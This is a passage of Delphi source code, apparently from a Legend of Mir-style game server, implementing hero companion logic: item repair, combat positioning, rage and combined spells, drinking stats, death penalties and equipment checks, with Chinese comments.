then begin OldDura := m_UseItems[U_BUJUK].Dura; case btType of 2: ItemList := m_Master.m_ItemList; 4: ItemList := m_ItemList; end; if ItemList <> nil then begin if ItemList.Count > 0 then begin//20080630 for I := 0 to ItemList.Count - 1 do begin UserItem := ItemList.Items[I]; if (UserItem <> nil) and (UserItem.MakeIndex = nItemIdx) then begin //取自定义物品名称 sUserItemName := ''; if UserItem.btValue[13] = 1 then sUserItemName := ItemUnit.GetCustomItemName(UserItem.MakeIndex, UserItem.wIndex); if sUserItemName = '' then sUserItemName := UserEngine.GetStdItemName(UserItem.wIndex); StdItem := UserEngine.GetStdItem(UserItem.wIndex); if StdItem <> nil then begin if CompareText(sUserItemName, sItemName) = 0 then begin n14 := I; Break; end; end; end; UserItem := nil; end; end; if (StdItem <> nil) and (UserItem <> nil) and (StdItem.StdMode = 42) then begin Inc(m_UseItems[U_BUJUK].Dura, UserItem.DuraMax); if m_UseItems[U_BUJUK].Dura > m_UseItems[U_BUJUK].DuraMax then m_UseItems[U_BUJUK].Dura:=m_UseItems[U_BUJUK].DuraMax; boRepairOK := True; case btType of 2: m_Master.DelBagItem(n14); 4: DelBagItem(n14); end; end; end; end; end; if boRepairOK then begin if OldDura <> m_UseItems[U_BUJUK].Dura then SendMsg(Self, RM_HERODURACHANGE, U_BUJUK, m_UseItems[U_BUJUK].Dura, m_UseItems[U_BUJUK].DuraMax, 0, ''); SendDefMessage(SM_REPAIRFIRDRAGON_OK, btType, 0, 0, 0, ''); end else begin SendDefMessage(SM_REPAIRFIRDRAGON_FAIL, btType, 0, 0, 0, ''); SysMsg('修补火龙之心失败!', BB_Fuchsia, t_Hint);//20071231 end; end; //取刺杀位 20080604 function THeroObject.GetGotoXY(BaseObject: TBaseObject; nCode:Byte): Boolean; begin Result := False; Case nCode of 2:begin//刺杀位 if (m_nCurrX - 2 <= BaseObject.m_nCurrX) and (m_nCurrX + 2 >= BaseObject.m_nCurrX) and (m_nCurrY - 2 <= BaseObject.m_nCurrY) and (m_nCurrY + 2 >= BaseObject.m_nCurrY) and ((m_nCurrX <> BaseObject.m_nCurrX) or (m_nCurrY <> BaseObject.m_nCurrY)) then begin Result := True; if ((m_nCurrX - 2) = BaseObject.m_nCurrX) and (m_nCurrY = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX - 2; m_nTargetY:= m_nCurrY; Exit; end; if ((m_nCurrX + 2) = BaseObject.m_nCurrX) and (m_nCurrY = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX + 2; m_nTargetY:= m_nCurrY; Exit; end; if (m_nCurrX = BaseObject.m_nCurrX) and ((m_nCurrY - 2) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX ; m_nTargetY:= m_nCurrY - 2; Exit; end; if (m_nCurrX = BaseObject.m_nCurrX) and ((m_nCurrY + 2) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX ; m_nTargetY:= m_nCurrY + 2; Exit; end; if ((m_nCurrX - 2) = BaseObject.m_nCurrX) and ((m_nCurrY -2) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX - 2; m_nTargetY:= m_nCurrY - 2; Exit; end; if ((m_nCurrX + 2) = BaseObject.m_nCurrX) and ((m_nCurrY - 2) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX + 2; m_nTargetY:= m_nCurrY - 2; Exit; end; if ((m_nCurrX - 2) = BaseObject.m_nCurrX) and ((m_nCurrY + 2) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX - 2; m_nTargetY:= m_nCurrY + 2; Exit; end; if ((m_nCurrX + 2) = BaseObject.m_nCurrX) and ((m_nCurrY + 2) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX + 2; m_nTargetY:= m_nCurrY + 2; Exit; end; end; end;//2 3:begin//3格 if (m_nCurrX - 3 <= BaseObject.m_nCurrX) and (m_nCurrX + 3 >= BaseObject.m_nCurrX) and (m_nCurrY - 3 <= BaseObject.m_nCurrY) and (m_nCurrY + 3 >= BaseObject.m_nCurrY) and ((m_nCurrX <> BaseObject.m_nCurrX) or (m_nCurrY <> BaseObject.m_nCurrY)) then begin Result := True; if ((m_nCurrX - 3) = BaseObject.m_nCurrX) and (m_nCurrY = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX - 3; m_nTargetY:= m_nCurrY; Exit; end; if ((m_nCurrX + 3) = BaseObject.m_nCurrX) and (m_nCurrY = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX + 3; m_nTargetY:= m_nCurrY; Exit; end; if (m_nCurrX = BaseObject.m_nCurrX) and ((m_nCurrY - 3) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX ; m_nTargetY:= m_nCurrY - 3; Exit; end; if (m_nCurrX = BaseObject.m_nCurrX) and ((m_nCurrY + 3) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX ; m_nTargetY:= m_nCurrY + 3; Exit; end; if ((m_nCurrX - 3) = BaseObject.m_nCurrX) and ((m_nCurrY - 3) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX - 3; m_nTargetY:= m_nCurrY - 3; Exit; end; if ((m_nCurrX + 3) = BaseObject.m_nCurrX) and ((m_nCurrY - 3) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX + 3; m_nTargetY:= m_nCurrY - 3; Exit; end; if ((m_nCurrX - 3) = BaseObject.m_nCurrX) and ((m_nCurrY + 3) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX - 3; m_nTargetY:= m_nCurrY + 3; Exit; end; if ((m_nCurrX + 3) = BaseObject.m_nCurrX) and ((m_nCurrY + 3) = BaseObject.m_nCurrY) then begin m_nTargetX:= m_nCurrX + 3; m_nTargetY:= m_nCurrY + 3; Exit; end; end; end;//3 end;//Case end; procedure THeroObject.Run; var nX, nY, nDir: Integer; nCheckCode: Byte; resourcestring sExceptionMsg = '{异常} THeroObject.Run Code:%d'; begin nCheckCode:= 0; try if (not m_boGhost) and (not m_boDeath) and (not m_boFixedHideMode) and (not m_boStoneMode) then begin EatMedicine();//吃药 if (m_wStatusTimeArr[POISON_STONE] = 0) then begin//没有被麻痹 nCheckCode:= 11; if Think then begin inherited; Exit; end; nCheckCode:= 12; if m_Master <> nil then PlaySuperRock;//气血石 魔血石 20080729 //------------------------------------------------------------------------------ //饮酒酒量进度增加 if m_Abil.WineDrinkValue > 0 then begin//醉酒度大于0时才处理 if (GetTickCount() - m_dwAddAlcoholTick + n_DrinkWineQuality * 1000 > (g_Config.nIncAlcoholTick * 1000)) and (not n_DrinkWineDrunk) then begin//增加酒量进度 m_dwAddAlcoholTick := GetTickCount(); SendRefMsg(RM_MYSHOW, 8, 0, 0, 0, ''); //酒量增加动画 20080623 Inc(m_Abil.Alcohol, _MAX(5,(n_DrinkWineAlcohol * m_Abil.MaxAlcohol) div 1000));//酒度数 决定增长量 if m_Abil.Alcohol > m_Abil.MaxAlcohol then begin//酒量升级 m_Abil.Alcohol:= m_Abil.Alcohol - m_Abil.MaxAlcohol; m_Abil.MaxAlcohol:= m_Abil.MaxAlcohol+ g_Config.nIncAlcoholValue; //SysMsg(g_sUpAlcoholHintMsg{'您的酒量增加了'},c_Green,t_Hint);//提示用户 if m_Magic67Skill <> nil then begin//先天元力魔法升级 m_Magic67Skill.nTranPoint:= m_Abil.MaxAlcohol; if not CheckMagicLevelup(m_Magic67Skill) then begin SendDelayMsg(self, RM_HEROMAGIC_LVEXP, 0,m_Magic67Skill.MagicInfo.wMagicId, m_Magic67Skill.btLevel, m_Magic67Skill.nTranPoint, '', 1000); end; if m_Abil.WineDrinkValue >= abs(m_Abil.MaxAlcohol * g_Config.nMinDrinkValue67 div 100) then begin//酒量大于或等于酒量上限的5%时才有效 if m_Magic67Skill.btLevel > 0 then begin m_WAbil.AC := MakeLong(LoWord(m_WAbil.AC),HiWord(m_WAbil.AC)+ m_Magic67Skill.btLevel * 2); m_WAbil.MAC := MakeLong(LoWord(m_WAbil.MAC), HiWord(m_WAbil.MAC)+ m_Magic67Skill.btLevel * 2); SendMsg(Self, RM_HEROABILITY, 0, 0, 0, 0, '');//20080823 增加 end; end; end; end; GetNGExp(g_Config.nDrinkIncNHExp, 2); //饮酒增加内功经验 2008103 RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 //SendMsg(Self, RM_HEROABILITY, 0, 0, 0, 0, ''); SendMsg(Self, RM_HEROMAKEWINEABILITY, 0, 0, 0, 0, '');//酒2相关属性 20080804 end; if GetTickCount() - m_dwDecWineDrinkValueTick > g_Config.nDesDrinkTick * 1000 then begin//减少醉酒度 m_dwDecWineDrinkValueTick:= GetTickCount(); m_Abil.WineDrinkValue:= _MAX(0, m_Abil.WineDrinkValue - m_Abil.MaxAlcohol div 100); if m_Abil.WineDrinkValue = 0 then begin n_DrinkWineQuality:= 0;//饮酒时酒的品质 20080627 n_DrinkWineAlcohol:= 0;//饮酒时酒的度数 20080627 n_DrinkWineDrunk:= False;//喝酒醉了 20080623 SysMsg('英雄 '+g_sJiujinOverHintMsg{'酒劲终于消失了,身体也恢复平常的状态'},c_Green,t_Hint);//提示用户 end; RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 //SendMsg(Self, RM_HEROABILITY, 0, 0, 0, 0, ''); SendMsg(Self, RM_HEROMAKEWINEABILITY, 0, 0, 0, 0, '');//酒2相关属性 20080804 end; end; if m_boTrainingNG and (m_Skill69NH < m_Skill69MaxNH) then begin//学过内功,间隔时间增加内力值 20081002 if GetTickCount - m_dwIncNHTick > g_Config.dwIncNHTime then begin m_dwIncNHTick:= GetTickCount(); m_Skill69NH:= _MIN(m_Skill69MaxNH, m_Skill69NH + _MAX( 1 , Round(m_Skill69MaxNH * 0.014)));//20081026 修改,每次增加内功值上限的0.14% SendRefMsg(RM_MAGIC69SKILLNH, 0, m_Skill69NH, m_Skill69MaxNH, 0, ''); end; end; //------------------------------------------------------------------------------ nCheckCode:= 1; if (not m_boStartUseSpell) and (not m_boDecDragonPoint) then begin if m_nFirDragonPoint < g_Config.nMaxFirDragonPoint then begin if GetTickCount() - m_dwAddFirDragonTick > g_Config.nIncDragonPointTick{1000 * 3} then begin//20080606 加怒气时间可调节 m_dwAddFirDragonTick := GetTickCount(); if WearFirDragon and (m_UseItems[U_BUJUK].Dura > 0) then begin //20080129 火龙之心持久 if m_UseItems[U_BUJUK].Dura >= g_Config.nDecFirDragonPoint then begin Dec(m_UseItems[U_BUJUK].Dura, g_Config.nDecFirDragonPoint); end else begin m_UseItems[U_BUJUK].Dura := 0; //m_UseItems[U_BUJUK].wIndex:= 0;//20081014 20081218 不清除火龙之心 end; Inc(m_nFirDragonPoint, g_Config.nAddFirDragonPoint); //增加英雄怒气 if m_nFirDragonPoint > g_Config.nMaxFirDragonPoint then m_nFirDragonPoint:=g_Config.nMaxFirDragonPoint;//20071231 修正怒气值会加超过 SendMsg(Self, RM_HERODURACHANGE, U_BUJUK, m_UseItems[U_BUJUK].Dura, m_UseItems[U_BUJUK].DuraMax, 0, ''); SendMsg(Self, RM_FIRDRAGONPOINT, g_Config.nMaxFirDragonPoint, m_nFirDragonPoint, 0, 0, ''); end; end; end; end else begin if m_boDecDragonPoint and WearFirDragon then begin //减怒气 if m_nFirDragonPoint > 0 then begin if GetTickCount() - m_dwAddFirDragonTick > 2000{1000 * 2} then begin m_dwAddFirDragonTick := GetTickCount(); Dec(m_nFirDragonPoint, (g_Config.nMaxFirDragonPoint div 10)); //减英雄怒气 20080525 if m_nFirDragonPoint <= 0 then begin m_nFirDragonPoint:= 0; m_boDecDragonPoint:= False;//20080418 停止减怒气 m_boStartUseSpell := False; end; SendMsg(Self, RM_FIRDRAGONPOINT, g_Config.nMaxFirDragonPoint, m_nFirDragonPoint, 0, 0, ''); end; //职业是战,距离近了,自动放合击 20080419 if (m_TargetCret <> nil) and (not m_TargetCret.m_boDeath) and (m_Master <> nil) then begin case GetTogetherUseSpell of 60:begin if ((m_wStatusTimeArr[POISON_STONE] = 0) and (m_Master.m_wStatusTimeArr[POISON_STONE] = 0)) or (g_Config.ClientConf.boParalyCanSpell) then begin//20080913 防麻痹 if ((abs(m_TargetCret.m_nCurrX - m_nCurrX) <= 2) and (abs(m_TargetCret.m_nCurrY - m_nCurrY) <= 2)) and ((abs(m_TargetCret.m_nCurrX - m_Master.m_nCurrX) <= 2) and (abs(m_TargetCret.m_nCurrY - m_Master.m_nCurrY) <= 2)) then begin m_boDecDragonPoint:= False;//停止减怒气 m_boStartUseSpell := True;//合击技能可用 m_dwStartUseSpellTick := GetTickCount(); end; end; end; 61,62:begin//劈星斩,雷霆一击 if ((m_wStatusTimeArr[POISON_STONE] = 0) and (m_Master.m_wStatusTimeArr[POISON_STONE] = 0)) or (g_Config.ClientConf.boParalyCanSpell) then begin//20080913 防麻痹 if ((m_btJob = 0) and ((abs(m_TargetCret.m_nCurrX - m_nCurrX) <= 2) and (abs(m_TargetCret.m_nCurrY - m_nCurrY) <= 2))) or ((m_Master.m_btJob = 0) and ((abs(m_TargetCret.m_nCurrX - m_Master.m_nCurrX) <= 2) and (abs(m_TargetCret.m_nCurrY - m_Master.m_nCurrY) <= 2))) then begin m_boDecDragonPoint:= False;//停止减怒气 m_boStartUseSpell := True;//合击技能可用 m_dwStartUseSpellTick := GetTickCount(); end; end; end; 63,64,65:begin//20080913 防麻痹 if ((m_wStatusTimeArr[POISON_STONE] = 0) and (m_Master.m_wStatusTimeArr[POISON_STONE] = 0)) or (g_Config.ClientConf.boParalyCanSpell) then begin m_boDecDragonPoint:= False;//停止减怒气 m_boStartUseSpell := True;//合击技能可用 m_dwStartUseSpellTick := GetTickCount(); end; end; end; end;//if m_nFirDragonPoint > 0 then begin end;//if m_boDecDragonPoint and WearFirDragon then begin //减怒气 end; { if m_boStartUseSpell and (m_nStartUseSpell >= 3) then begin //去掉此行,修正英雄合击有时放不出,并怒气值降为0 20071227 m_nStartUseSpell := 0; m_boStartUseSpell := False; end; } if m_boStartUseSpell and (GetTickCount - m_dwStartUseSpellTick > 3000{1000 * 3}) then begin // m_nStartUseSpell := 0; m_boStartUseSpell := False; m_boDecDragonPoint:= False;//20080418 停止减怒气 end; SendMsg(Self, RM_FIRDRAGONPOINT, g_Config.nMaxFirDragonPoint, m_nFirDragonPoint, 0, 0, '');//发送英雄怒气值 end; if m_boFireHitSkill and ((GetTickCount - m_dwLatestFireHitTick) > 20000{20 * 1000}) then begin m_boFireHitSkill := False; //SysMsg(sSpiritsGone, BB_Fuchsia, t_Hint);//召唤烈火结束 20080112 end; if m_boDailySkill and ((GetTickCount - m_dwLatestDailyTick) > 20000{20 * 1000}) then begin m_boDailySkill := False; //逐日剑法结束 20080511 end; nCheckCode:= 2; if IsSearchTarget then SearchTarget(); //搜索目标 20080327 //m_dwWalkWait := 10; //m_nWalkSpeed := 10; if m_boWalkWaitLocked then begin if (GetTickCount - m_dwWalkWaitTick) > m_dwWalkWait then m_boWalkWaitLocked := False; end; if not m_boWalkWaitLocked and ({Integer}(GetTickCount - m_dwWalkTick) > m_nWalkSpeed) then begin m_dwWalkTick := GetTickCount(); //if m_btRaceServer <> RC_HEROOBJECT then begin//20080715 注释 Inc(m_nWalkCount); if m_nWalkCount > m_nWalkStep then begin m_nWalkCount := 0; m_boWalkWaitLocked := True; m_dwWalkWaitTick := GetTickCount(); end; //end; if not m_boRunAwayMode then begin if not m_boNoAttackMode then begin if m_boProtectStatus then begin//守护状态,距离太远,直接飞过去 20080417 if not m_boProtectOK then begin//没走到守护坐标 20080603 if RunToTargetXY(m_nProtectTargetX, m_nProtectTargetY) then m_boProtectOK:= True else if WalkToTargetXY2(m_nProtectTargetX, m_nProtectTargetY) then m_boProtectOK:= True; //转向 end; {if (abs(m_nCurrX - m_nProtectTargetX) > 10) or (abs(m_nCurrY - m_nProtectTargetY) > 10) then begin m_TargetCret := nil; SpaceMove(m_PEnvir.sMapName, m_nProtectTargetX, m_nProtectTargetY, 1); end;} end; nCheckCode:= 6; if (m_TargetCret <> nil) then begin if m_boStartUseSpell then begin m_nSelectMagic := GetTogetherUseSpell; //判断合击魔法ID if (m_btJob = 0) and (m_nSelectMagic = 60) then //20080227 此消息以前是发送合击 给客户端的消息 但是没实际用处 改用于发破魂先怪物显示下被攻击动画 SendMsg(m_TargetCret, RM_GOTETHERUSESPELL, m_nSelectMagic, m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 0, '');//使用合击 m_nFirDragonPoint := 0;//清空怒气 //end else begin //SearchMagic(); //查询魔法 20080328注释 end; if AttackTarget then begin//攻击 20080710 nCheckCode:= 70; m_boStartUseSpell := False; inherited; Exit; end else if IsNeedAvoid then begin //自动躲避 nCheckCode:= 71; m_dwActionTick := GetTickCount()- 10;//20080720 AutoAvoid(); inherited; Exit; end else begin if IsNeedGotoXY then begin//是否走向目标 nCheckCode:= 72; m_dwActionTick := GetTickCount();//20080718 增加 m_nTargetX:= m_TargetCret.m_nCurrX; m_nTargetY:= m_TargetCret.m_nCurrY; if IsAllowUseMagic(12) and (m_btJob = 0) then GetGotoXY(m_TargetCret, 2);//20080617 修改 if (m_btJob > 0) then begin if g_Config.boHeroAttackTarget and (m_Abil.Level < 22) then begin//20081218 道法22前是否物理攻击 end else GetGotoXY(m_TargetCret, 3);//20080710 道法只走向目标3格范围 end; GotoTargetXY( m_nTargetX, m_nTargetY, 0); //GotoTargetXY(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY); inherited; Exit; end; end; end else begin if not m_boProtectStatus then m_nTargetX := -1; end; end; nCheckCode:= 8; if m_TargetCret <> nil then begin m_nTargetX := m_TargetCret.m_nCurrX; m_nTargetY := m_TargetCret.m_nCurrY; end; nCheckCode:= 81; if SearchIsPickUpItem then begin nCheckCode:= 82; SearchPickUpItem(500); inherited; Exit; end; nCheckCode:= 9; if m_Master <> nil then begin if m_boProtectStatus then begin //守护状态 {if (abs(m_nCurrX - m_nProtectTargetX) > 10) or (abs(m_nCurrY - m_nProtectTargetY) > 10) then begin //超过范围 m_nTargetX := m_nProtectTargetX; m_nTargetY := m_nProtectTargetY; m_TargetCret := nil; SpaceMove(m_PEnvir.sMapName, m_nTargetX, m_nTargetY, 1); end else} if (abs(m_nCurrX - m_nProtectTargetX) > 9{6}) or (abs(m_nCurrY - m_nProtectTargetY) > 9{6}) then begin//20081219 修改守护范围 m_nTargetX := m_nProtectTargetX; m_nTargetY := m_nProtectTargetY; m_TargetCret := nil; end else begin m_nTargetX := -1; end; end else begin if (m_TargetCret = nil) and (not m_boProtectStatus) and (m_btStatus <> 2) then begin nCheckCode:= 95; m_Master.GetBackPosition(nX, nY); if (abs(m_nTargetX - nX) > 2{1}) or (abs(m_nTargetY - nY ) > 2{1}) then begin//20081016 修改2格 m_nTargetX := nX; m_nTargetY := nY; if (abs(m_nCurrX - nX) <= 3{2}) and (abs(m_nCurrY - nY) <= 3{2}) then begin//20081016 if m_PEnvir.GetMovingObject(nX, nY, True) <> nil then begin m_nTargetX := m_nCurrX; m_nTargetY := m_nCurrY; end; end; end; end; //if m_TargetCret = nil then begin end; if {(not m_Master.m_boSlaveRelax) and} (not m_boProtectStatus) and (m_btStatus <> 2) and //20080408 ((m_PEnvir <> m_Master.m_PEnvir) or (abs(m_nCurrX - m_Master.m_nCurrX) > 20) or (abs(m_nCurrY - m_Master.m_nCurrY) > 20)) then begin nCheckCode:= 99; SpaceMove(m_Master.m_PEnvir.sMapName, m_nTargetX, m_nTargetY, 1); end; if (m_TargetCret <> nil) then begin//如目标与英雄不在同个地图则删除目标 20081214 if (m_TargetCret.m_PEnvir <> m_PEnvir) then DelTargetCreat(); end; end; //if m_Master <> nil then begin end else begin if (m_dwRunAwayTime > 0) and ((GetTickCount - m_dwRunAwayStart) > m_dwRunAwayTime) then begin m_boRunAwayMode := False; m_dwRunAwayTime := 0; end; end; nCheckCode:= 10; { if (m_Master <> nil) and m_Master.m_boSlaveRelax then begin //20080408 英雄在下属为休息时,不休息 inherited; Exit; end; } if (m_TargetCret = nil) and (m_btStatus <> 2) then begin if m_nTargetX <> -1 then begin if (abs(m_nCurrX - m_nTargetX) > 1) or (abs(m_nCurrY - m_nTargetY) > 1) then begin GotoTargetXY(m_nTargetX, m_nTargetY, 0); end; end else begin Wondering(); end; end; end; end else begin//麻痹时,可以增加怒气 20081204 if (not m_boStartUseSpell) and (not m_boDecDragonPoint) then begin if m_nFirDragonPoint < g_Config.nMaxFirDragonPoint then begin if GetTickCount() - m_dwAddFirDragonTick > g_Config.nIncDragonPointTick{1000 * 3} then begin//20080606 加怒气时间可调节 m_dwAddFirDragonTick := GetTickCount(); if WearFirDragon and (m_UseItems[U_BUJUK].Dura > 0) then begin //20080129 火龙之心持久 if m_UseItems[U_BUJUK].Dura >= g_Config.nDecFirDragonPoint then begin Dec(m_UseItems[U_BUJUK].Dura, g_Config.nDecFirDragonPoint); end else begin m_UseItems[U_BUJUK].Dura := 0; //m_UseItems[U_BUJUK].wIndex:= 0;//20081014 20081218 不清除火龙之心 end; Inc(m_nFirDragonPoint, g_Config.nAddFirDragonPoint); //增加英雄怒气 if m_nFirDragonPoint > g_Config.nMaxFirDragonPoint then m_nFirDragonPoint:=g_Config.nMaxFirDragonPoint;//20071231 修正怒气值会加超过 SendMsg(Self, RM_HERODURACHANGE, U_BUJUK, m_UseItems[U_BUJUK].Dura, m_UseItems[U_BUJUK].DuraMax, 0, ''); SendMsg(Self, RM_FIRDRAGONPOINT, g_Config.nMaxFirDragonPoint, m_nFirDragonPoint, 0, 0, ''); end; end; end; end; end; end; inherited; except on E: Exception do begin MainOutMessage(Format(sExceptionMsg, [nCheckCode])); end; end; end; procedure THeroObject.RecalcAbilitys; begin inherited; if m_btRaceServer = RC_HEROOBJECT then begin SendUpdateMsg(Self, RM_CHARSTATUSCHANGED, m_nHitSpeed, m_nCharStatus, 0, 0, ''); RecalcAdjusBonus();//刷新英雄永久属性能20081126 end; end; procedure THeroObject.Die; //英雄死亡 修正英雄死亡 人物被攻击 英雄自动强制召唤 20080129 var nDecExp: Integer; begin inherited; //死亡掉经验,经验不足,则降级 20080605 if g_Config.boHeroDieExp then begin nDecExp:= Round(GetLevelExp(m_Abil.Level) * (g_Config.nHeroDieExpRate / 100)); if m_Abil.Exp >= nDecExp then begin Dec(m_Abil.Exp, nDecExp); end else begin if m_Abil.Level >= 1 then begin Dec(m_Abil.Level); Inc(m_Abil.Exp, GetLevelExp(m_Abil.Level)); Dec(m_Abil.Exp, nDecExp); if m_Abil.Exp < 0 then m_Abil.Exp:= 0; end else begin m_Abil.Level := 0; m_Abil.Exp := 0; end; end; end; if (m_btRaceServer = RC_HEROOBJECT) and (m_Master <> nil) then begin //发送英雄死亡信息 TPlayObject(m_Master).m_nRecallHeroTime:= GetTickCount();//召唤英雄间隔 20080606 // SendMsg(Self, RM_HERODEATH, 0, 0, 0, 0, '');//20080403 注释 m_nLoyal:=_MAX(0,m_nLoyal - g_Config.nDeathDecLoyal);//死亡减少忠诚度 20080110 UserEngine.SaveHeroRcd(TPlayObject(m_Master));//保存数据 20080320 TPlayObject(m_Master).m_MyHero := nil; end; // m_Master := nil;//20080403 注释 end; function THeroObject.FindMagic(wMagIdx: Word): pTUserMagic; var UserMagic: pTUserMagic; I: Integer; begin Result := nil; if m_MagicList.Count > 0 then begin//20080630 for I := 0 to m_MagicList.Count - 1 do begin UserMagic := m_MagicList.Items[I]; if UserMagic.MagicInfo.wMagicId = wMagIdx then begin Result := UserMagic; Break; end; end; end; end; //英雄检查穿上装备的条件 function THeroObject.CheckTakeOnItems(nWhere: Integer; var StdItem: TStdItem): Boolean; function GetUserItemWeitht(nWhere: Integer): Integer; var I: Integer; n14: Integer; StdItem: pTStdItem; begin n14 := 0; for I := Low(THumanUseItems) to High(THumanUseItems) do begin if (nWhere = -1) or (not (I = nWhere) and not (I = 1) and not (I = 2)) then begin StdItem := UserEngine.GetStdItem(m_UseItems[I].wIndex); if StdItem <> nil then Inc(n14, StdItem.Weight); end; end; Result := n14; end; var Castle: TUserCastle; begin Result := False; if (StdItem.StdMode = 10) and (m_btGender <> 0) then begin SysMsg('(英雄) '+sWearNotOfWoMan, BB_Fuchsia, t_Hint); //20080312 Exit; end; if (StdItem.StdMode = 11) and (m_btGender <> 1) then begin SysMsg('(英雄) '+sWearNotOfMan, BB_Fuchsia, t_Hint); //20080312 Exit; end; if (nWhere = 1) or (nWhere = 2) then begin if StdItem.Weight > m_WAbil.MaxHandWeight then begin SysMsg('(英雄) '+sHandWeightNot, BB_Fuchsia, t_Hint); //20080312 Exit; end; end else begin if (StdItem.Weight + GetUserItemWeitht(nWhere)) > m_WAbil.MaxWearWeight then begin SysMsg('(英雄) '+sWearWeightNot, BB_Fuchsia, t_Hint);//20080312 Exit; end; end; Castle := g_CastleManager.IsCastleMember(Self); case StdItem.Need of // 0: begin if m_Abil.Level >= StdItem.NeedLevel then begin Result := True; end else begin SysMsg('(英雄) '+g_sLevelNot, BB_Fuchsia, t_Hint);//20080312 end; end; 1: begin if HiWord(m_WAbil.DC) >= StdItem.NeedLevel then begin Result := True; end else begin SysMsg('(英雄) '+g_sDCNot, BB_Fuchsia, t_Hint);//20080312 end; end; 10: begin if (m_btJob = LoWord(StdItem.NeedLevel)) and (m_Abil.Level >= HiWord(StdItem.NeedLevel)) then begin Result := True; end else begin SysMsg('(英雄) '+g_sJobOrLevelNot, BB_Fuchsia, t_Hint);//20080312 end; end; 11: begin if (m_btJob = LoWord(StdItem.NeedLevel)) and (HiWord(m_WAbil.DC) >= HiWord(StdItem.NeedLevel)) then begin Result := True; end else begin SysMsg('(英雄) '+g_sJobOrDCNot, BB_Fuchsia, t_Hint);//20080312 end; end; 12: begin if (m_btJob = LoWord(StdItem.NeedLevel)) and (HiWord(m_WAbil.MC) >= HiWord(StdItem.NeedLevel)) then begin Result := True; end else begin SysMsg('(英雄) '+g_sJobOrMCNot, BB_Fuchsia, t_Hint);//20080312 end; end; 13: begin if (m_btJob = LoWord(StdItem.NeedLevel)) and (HiWord(m_WAbil.SC) >= HiWord(StdItem.NeedLevel)) then begin Result := True; end else begin SysMsg('(英雄) '+g_sJobOrSCNot, BB_Fuchsia, t_Hint);//20080312 end; end; 2: begin if HiWord(m_WAbil.MC) >= StdItem.NeedLevel then begin Result := True; end else begin SysMsg('(英雄) '+g_sMCNot, BB_Fuchsia, t_Hint);//20080312 end; end; 3: begin if HiWord(m_WAbil.SC) >= StdItem.NeedLevel then begin Result := True; end else begin SysMsg('(英雄) '+g_sSCNot, BB_Fuchsia, t_Hint);//20080312 end; end; 4: begin if m_btReLevel >= StdItem.NeedLevel then begin Result := True; end else begin SysMsg('(英雄) '+g_sReNewLevelNot, BB_Fuchsia, t_Hint);//20080312 end; end; 40: begin if m_btReLevel >= LoWord(StdItem.NeedLevel) then begin if m_Abil.Level >= HiWord(StdItem.NeedLevel) then begin Result := True; end else begin SysMsg('(英雄) '+g_sLevelNot, BB_Fuchsia, t_Hint); //20080312 end; end else begin SysMsg('(英雄) '+g_sReNewLevelNot, BB_Fuchsia, t_Hint);//20080312 end; end; 41: begin if m_btReLevel >= LoWord(StdItem.NeedLevel) then begin if HiWord(m_WAbil.DC) >= HiWord(StdItem.NeedLevel) then begin Result := True; end else begin SysMsg('(英雄) '+g_sDCNot, BB_Fuchsia, t_Hint);//20080312 end; end else begin SysMsg('(英雄) '+g_sReNewLevelNot, BB_Fuchsia, t_Hint); //20080312 end; end; 42: begin if m_btReLevel >= LoWord(StdItem.NeedLevel) then begin if HiWord(m_WAbil.MC) >= HiWord(StdItem.NeedLevel) then begin Result := True; end else begin SysMsg('(英雄) '+g_sMCNot, BB_Fuchsia, t_Hint);//20080312 end; end else begin SysMsg('(英雄) '+g_sReNewLevelNot, BB_Fuchsia, t_Hint);//20080312 end; end; 43: begin if m_btReLevel >= LoWord(StdItem.NeedLevel) then begin if HiWord(m_WAbil.SC) >= HiWord(StdItem.NeedLevel) then begin Result := True; end else begin SysMsg('(英雄) '+g_sSCNot, BB_Fuchsia, t_Hint);//20080312 end; end else begin SysMsg('(英雄) '+g_sReNewLevelNot, BB_Fuchsia, t_Hint);//20080312 end; end; 44: begin if m_btReLevel >= LoWord(StdItem.NeedLevel) then begin //声望装备,不处理 20080509 // if {m_btCreditPoint}m_Abil.Level >= HiWord(StdItem.NeedLevel) then begin //穿需声望的装备,只在等级达到即可穿上 20080426 Result := True; // end else begin //SysMsg('(英雄)'+g_sCreditPointNot, BB_Fuchsia, t_Hint);//20080118 // SysMsg('(英雄)'+g_sLevelNot, BB_Fuchsia, t_Hint);// 20080426 // end; end else begin SysMsg('(英雄) '+g_sReNewLevelNot, BB_Fuchsia, t_Hint);//20080118 end; end; 5: begin //声望装备,不处理 20080509 //if {m_btCreditPoint}m_Abil.Level >= StdItem.NeedLevel then begin//穿需声望的装备,只在等级达到即可穿上 20080426 Result := True; //end else begin //SysMsg('(英雄)'+g_sCreditPointNot, BB_Fuchsia, t_Hint);//20080118 // SysMsg('(英雄)'+g_sLevelNot, BB_Fuchsia, t_Hint);// 20080426 // end; end; 6: begin if (m_MyGuild <> nil) then begin Result := True; end else begin SysMsg('(英雄) '+g_sGuildNot, BB_Fuchsia, t_Hint);//20080118 end; end; 60: begin if (m_MyGuild <> nil) and (m_nGuildRankNo = 1) then begin Result := True; end else begin SysMsg('(英雄) '+g_sGuildMasterNot, BB_Fuchsia, t_Hint);//20080118 end; end; 7: begin // if (m_MyGuild <> nil) and (UserCastle.m_MasterGuild = m_MyGuild) then begin if (m_MyGuild <> nil) and (Castle <> nil) then begin Result := True; end else begin SysMsg('(英雄) 